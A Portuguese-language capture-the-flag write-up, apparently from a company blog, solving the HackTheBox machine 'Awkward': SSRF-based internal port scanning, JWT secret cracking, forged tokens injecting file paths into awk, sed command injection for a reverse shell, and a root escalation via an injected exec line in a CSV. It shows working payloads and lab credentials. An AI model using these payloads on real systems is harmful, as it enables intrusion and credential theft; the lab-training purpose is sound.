• PT/BR
  • ENG/US

HackTheBox – Awkward

  • 04/04/2023
  • Bruno Marcelo Cuesta
  • Blog
  • Alto Contraste
  • +Aumentar fonte
  • -Diminuir fonte

A máquina Awkward do HackTheBox apresenta desafios na exploração web, e também, em linhas de comandos no Linux. Possui apenas duas portas abertas. Com informação obtida na página principal é possível iniciar uma enumeração para encontrar um subdomínio. Como a página é feita utilizando o framework javascript, dados interessantes podem ser obtidos nos arquivos js para encontrar novas rotas. A análise do código fonte da aplicação é importante para entender como explorar a vulnerabilidade e obter um shell reverso. Com as credenciais corretas a movimentação lateral é realizada e termina com a escalação de privilégios para obter a shell do root.

A seguir estão os detalhes técnicos para resolver a máquina.

IP: 10.10.11.185
SO: Linux
Nível de Dificuldade: Médio

 

Varredura e enumeração

 

# Nmap 7.93 scan initiated Tue Feb 21 12:26:54 2023 as: nmap -v -sC -sV -p 22,80 -Pn -oN details.txt 10.10.11.185

Nmap scan report for hat-valley.htb (10.10.11.185)

Host is up (0.24s latency).

PORT   STATE SERVICE VERSION

22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3 (Ubuntu Linux; protocol 2.0)

| ssh-hostkey:

|   256 7254afbaf6e2835941b7cd611c2f418b (ECDSA)

|_  256 59365bba3c7821e326b37d23605aec38 (ED25519)

80/tcp open  http    nginx 1.18.0 (Ubuntu)

| http-methods:

|_  Supported Methods: GET HEAD POST OPTIONS

|_http-favicon: Unknown favicon MD5: 56BF0DDEA4641BFDDD743E1B04149554

|_http-server-header: nginx/1.18.0 (Ubuntu)

|_http-title: Hat Valley

Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

 

Read data files from: /usr/bin/../share/nmap

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .

# Nmap done at Tue Feb 21 12:27:12 2023 — 1 IP address (1 host up) scanned in 17.94 seconds

 

Acessando a aplicação web na porta 80 se constata que é necessário adicionar o IP e domínio ao /etc/hosts.

Adicionando o IP e domínio ao /etc/hosts:

sudo nano /etc/hosts

10.10.11.185 hat-valley.htb

 

Após adicionar os dados é possível acessar o site.

 

Durante a fase de reconhecimento em páginas web corporativas é comum encontrar nomes de funcionários, telefones, e-mail, cargos e outros dados interessantes que podem ser usados por um atacante para acessar algum serviço exposto. No caso deste site existe uma informação sobre a construção de uma “aplicação para compras online”. Ou seja, deixa em evidência que existe um outro site (subdomínio) que irá responder pelo site de compras.

 

Para descobrir o nome deste subdomínio foi utilizado o Wfuzz, uma ferramenta que realiza enumeração de diretórios e arquivos.

wfuzz -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt –hc 404 –hl 8 -H ‘Host: FUZZ.hat-valley.htb’ http://hat-valley.htb

O resultado na imagem abaixo mostra que existe um subdomínio chamado “store”.

Depois de adicionar o subdomínio ao arquivo hosts, o acesso ao site de compras pode ser feito.

Como nenhuma credencial foi utilizada até esta etapa é necessário continuar enumerando em busca de outras rotas que levem a alguma parte da aplicação com dados interessantes para usar.

O site possui vários arquivos js e os inspecionando diversas rotas foram encontradas.

 

static/js/dashboard.js

static/js/template.js

src/services.js

js/app.js

No arquivo app.js foi encontrado o path ‘/hr’, possivelmente significando “Human Resources” (Recursos Humanos). Outro path interessante é o dashboard, que deve ser acessível apenas para algum usuário autenticado no site.

 

Alguns endpoints de API foram encontrados no services.js.

 

api/all-leave

api/leave

api/dashboard

api/submit-leave

api/store-status

api/login

No arquivo staff.js foi localizado o api/staff-details, com potencial de ser um endpoint que retorna dados dos usuários da aplicação.

Interceptando a requisição para este endpoint com o Burp Suite podemos visualizar os dados sensíveis dos usuários, como username e password

 

Nomes de usuários e hash de senhas obtidos:

 

[{“user_id”:1,”username”:”christine.wool”,”password”:”6529fc6e43f9061ff4eaa806b087b13747fbe8ae0abfd396a5c4cb97c5941649″,”fullname”:”Christine Wool”,”role”:”Founder, CEO”,”phone”:”0415202922″},{“user_id”:2,”username”:”christopher.jones”,”password”:”e59ae67897757d1a138a46c1f501ce94321e96aa7ec4445e0e97e94f2ec6c8e1″,”fullname”:”Christopher Jones”,”role”:”Salesperson”,”phone”:”0456980001″},{“user_id”:3,”username”:”jackson.lightheart”,”password”:”b091bc790fe647a0d7e8fb8ed9c4c01e15c77920a42ccd0deaca431a44ea0436″,”fullname”:”Jackson Lightheart”,”role”:”Salesperson”,”phone”:”0419444111″},{“user_id”:4,”username”:”bean.hill”,”password”:”37513684de081222aaded9b8391d541ae885ce3b55942b9ac6978ad6f6e1811f”,”fullname”:”Bean Hill”,”role”:”System Administrator”,”phone”:”0432339177″}]

 

Embora o endpoint retorne de forma indevida as credenciais dos usuários, a senha está em SHA-256. Com o hashid podemos identificar o possível tipo de hash.

 

 

A forma mais rápida para decriptar um hash é utilizar sites online que fazem a decriptação. Testando os hashes encontrados foi possível decriptar o hash de senha do usuário christopher.jones no site md5decrypt.

https://md5decrypt.net/en/Sha256/

 

Caso o hash não existisse no banco de hashes destas ferramentas web para decriptar, poderia ser utilizado o método local com as ferramentas Hashcat ou John.

Com a credencial descoberta o login pode ser tentado na página encontrada anteriormente.

christopher.jones

chris123

Acessando a página de login.

 

Feito o login com sucesso, surge um histórico de solicitações do usuário.

 

 

Também há uma opção para colocar o site de compras em status “online”.

 

 

As credenciais obtidas pertencem a um usuário que não possui privilégios. Não há nenhum menu administrativo que dê permissões de administrador. Analisando o seu token no site jwt.io podemos ver os detalhes.

 

 

Vulnerabilidade

 

Buscando na internet por vulnerabilidades em token JWT foi encontrado o site da OWASP sugerindo um script para quebrar o token e descobrir sua chave.

 

 

https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/06-Session_Management_Testing/10-Testing_JSON_Web_Tokens

 

Repositório com o script no github:

 

https://github.com/Sjord/jwtcrack

 

O script possui duas maneiras de descobrir a ‘secret key’, direto com o hash ou convertendo para formato aceito pelo John.

O ideal é criar uma virtualenv com python2.7, instalar os requisitos do script e utilizar o jwtcrack.

 

Executando o script passando o token e a wordlist:

 

python crackjwt.py ‘eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImNocmlzdG9waGVyLmpvbmVzIiwiaWF0IjoxNjc3NDMwMTA3fQ.s0aeisOIVx6MuB5aPghXSxmqS8wGBvt-fXOdvsssdME’ /usr/share/wordlists/rockyou.txt

 

 

‘Secret key’ encontrada: 123beany123

 

As poucas funcionalidades que o usuário possui no site são as de enviar e ver mensagens próprias e colocar o subdomínio de compras online.

 

 

 

Interceptando o request para o subdomínio pelo Burp Suite podemos visualizar que ele faz um GET para o endereço do site ‘store’.

 

 

Com o objetivo de testar conectividade com o host, o endereço foi alterado para a máquina local do atacante. O request foi recebido com sucesso.

 

 

Como o request da aplicação pode ser enviado para qualquer endereço e porta externa, o mesmo poderia ser feito de forma interna. Isto é, enviando o request para localhost e assim enumerar as portas do host que só podem ser acessadas internamente.

O teste na porta 80 foi realizado com sucesso.

 

Portanto, para enumerar todas as portas locais seria necessário gerar uma lista de portas. O comando ‘seq’ no Linux é útil para criar uma lista. Por exemplo, de 21 a 10000.

 

seq 21 10000 > ports.txt

 

Utilizando o Wfuzz para enumerar as portas internas do host: wfuzz -c -w ports.txt –hc 404 -u ‘http://hat-valley.htb/api/store-status?url=”http://localhost:FUZZ”’

 

 

O resultado do scan mostra a porta 3002 sendo ouvida internamente. Com o Burp Suite foi enviada uma requisição para esta porta e surgiu uma página de documentação da API da aplicação.

 

 

Para visualizar melhor a página foi feita o download do documento com o comando ‘curl’, passando o cookie de sessão do usuário: curl -v http://hat-valley.htb/api/store-status?url=%22http:%2F%2F127.0.0.1:3002%22 -H ‘Cookie: token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImNocmlzdG9waGVyLmpvbmVzIiwiaWF0IjoxNjc3NDMwMTA3fQ.s0aeisOIVx6MuB5aPghXSxmqS8wGBvt-fXOdvsssdME’ –output api.html

 

Inspecionando o código baixado da aplicação encontra-se um comando “exec”. Este comando executa o ‘awk’, recebe como parâmetro o “user” e lê o arquivo leave_requests.csv para mostrar as mensagens do usuário.

 

 

A ideia seria abusar do comando ‘awk’ para que no lugar do “user” seja injetado o path de algum arquivo sensível do sistema. Por exemplo, o /etc/passwd. Isto seria possível criando um outro token com a ‘secret key’ (123beany123) descoberta.

Pelo site jwt.io podemos criar outro token com o /etc/passwd no lugar do “user”.

 

 

Com o novo token malicioso o servidor entrega o conteúdo do arquivo /etc/passwd em seu response.

 

 

O usuário “bean” aparece no /etc/passwd. Com a ‘secret key’ podemos criar um novo token para enumerar os arquivos deste usuário. Existem vários arquivos interessantes para obter, como o id_rsa, que permitiria o acesso via SSH. Neste caso o arquivo com informações úteis é o ‘.bashrc’, muito utilizado para colocar funções customizadas que auxiliam na hora de executar comandos no terminal. A linha abaixo mostra um alias que executa um backup.

 

alias backup_home=’/bin/bash /home/bean/Documents/backup_home.sh’

 

 

Novamente o jwt.io pode ser usado para visualizar o conteúdo do script backup_home.sh.

Payload utilizado:

“username”: “/’ /home/bean/Documents/backup_home.sh ‘”,

 

Conteúdo do arquivo backup_home.sh:

 

#!/bin/bash

mkdir /home/bean/Documents/backup_tmp

cd /home/bean

tar –exclude=’.npm’ –exclude=’.cache’ –exclude=’.vscode’ -czvf /home/bean/Documents/backup_tmp/bean_backup.tar.gz .

date > /home/bean/Documents/backup_tmp/time.txt

cd /home/bean/Documents/backup_tmp

tar -czvf /home/bean/Documents/backup/bean_backup_final.tar.gz .

rm -r /home/bean/Documents/backup_tmp

 

 

O script cria um arquivo compactado chamado bean_backup_final.tar.gz. Este arquivo também pode ser baixado da mesma maneira utilizando o jwt.io para criar o token.

Payload utilizado: “username”: “/’ /home/bean/Documents/backup/bean_backup_final.tar.gz'”,

 

Após o download e descompactação do arquivo a senha do usuário bean é encontrada.

 

 

O host possui a porta SSH aberta e ao testar o acesso com estas credenciais o login é realizado com sucesso.

Credenciais SSH:

bean

014mrbeanrules!#P

 

 

A flag user.txt está localizada na home do usuário bean.

 

 

Inspecionando o host foi localizado o diretório do Nginx com uma credencial no .htpasswd.

bean@awkward:/etc/nginx/conf.d$ cat .htpasswd

admin:$apr1$lfvrwhqi$hd49MbBX3WNluMezyjWls1

 

[

 

Segundo o hash-identifier se trata de um hash MD5.

 

 

Para quebrar esta hash do admin o modo 1600 do Hashcat pode ser utilizado.

https://hashcat.net/wiki/doku.php?id=example_hashes

hashcat -m 0 adminhash.txt /usr/share/wordlists/rockyou.txt

Apesar da tentativa de quebra do hash não ser bem-sucedida, a senha do usuário bean funcionou com o usuário admin no login do subdomínio store.

admin

014mrbeanrules!#P

 

 

Movimentação lateral

 

Utilizando as credenciais do usuário admin a inclusão de itens ao carrinho é realizada com sucesso.

 

 

Inspecionando localmente como o sistema salva os dados do item foi encontrado um arquivo dentro da pasta “cart”.

 

 

No arquivo cart_actions.php o código que remove o item do carrinho possui o comando ‘sed’.

 

 

O desafio proposto neste código é fazer com que o ‘sed’ retorne um shell reverso do usuário que executa a aplicação, provavelmente o www-data.

Interceptando a remoção do item do carrinho com o Burp Suite o parâmetro “user” aparece como o ponto a ser explorado.

 

 

Para incluir o caminho para o script de shell reverso no arquivo que está na pasta ‘cart’ é necessário criar uma cópia e nela adicionar a linha que vai apontar para o /tmp/shell.sh.

Importante notar que a cada inclusão de item feita no carrinho, o nome do arquivo será alterado na pasta ‘cart’.

Conteúdo padrão do arquivo 2be3-df77-b10-0820:

 

 

Abaixo estão os comandos para obter uma cópia do arquivo e incluir a linha de código necessária que chame o shell.sh.

 

cp 2be3-df77-b10-0820 2be3-df77-b10-0820.bkp

rm 2be3-df77-b10-0820

mv 2be3-df77-b10-0820.bkp 2be3-df77-b10-0820

 

Adicionando a linha ao arquivo:

Feita a inclusão, falta criar um script shell.sh para que seja executado pela aplicação e permita um shell reverso.

 

nano /tmp/shell.sh

 

Na imagem abaixo o parâmetro ‘user’ recebe a linha de código que irá abusar do comando ‘sed’ e assim executar o script shell.sh.

 

 

Após enviar o request pelo Burp Suite o shell reverso é recebido.

 

 

O usuário recebido é o www-data, que não possui privilégios. Então, o passo seguinte é verificar se existe algum serviço sendo executado com privilégios de root.

 

Escalação de privilégios

 

Inspecionando os processos que rodam no sistema foi encontrada a execução de um script do usuário root que avisa sobre as inclusões de mensagens dos usuários no arquivo leave_requests.csv. Como este arquivo é lido pelo root seria possível incluir uma linha maliciosa de código que execute um script na pasta /tmp.

Portanto, outro script sh pode ser criado para receber o shell do root. O que muda neste novo script é apenas a porta.

Adicionando a linha de chamada para o shell2.sh no arquivo leave_requests.csv:

 

echo ‘” –exec=”\!/tmp/shell2.sh”‘ >> leave_requests.csv

 

O resultado pode ser visto na imagem abaixo:

 

 

Ao ler o arquivo leave_requests.csv a shell do usuário root é enviada para a máquina do atacante e a flag final pode ser lida.

 

 

 

Conclusão

A máquina Awkward do HackTheBox apresenta desafios interessantes que poderiam ser utilizados em um ataque real. Entre eles:

  • Enumeração de portas internas do host utilizando a própria aplicação;
  • Alteração de parâmetros no JWT para incluir payload malicioso;
  • Abuso do comando AWK;
  • Abuso do comando SED;

Em muitos casos o pentester necessita ler o código fonte da aplicação para descobrir um vetor de ataque que permita extrair mais dados sensíveis do servidor. A movimentação lateral também é uma estratégia utilizada quando o objetivo é escalar privilégios e comprometer definitivamente o host.

Até a próxima!

 

 

#SejaSiDier

Faça parte do nosso universo tecnológico

Trabalhe no sidi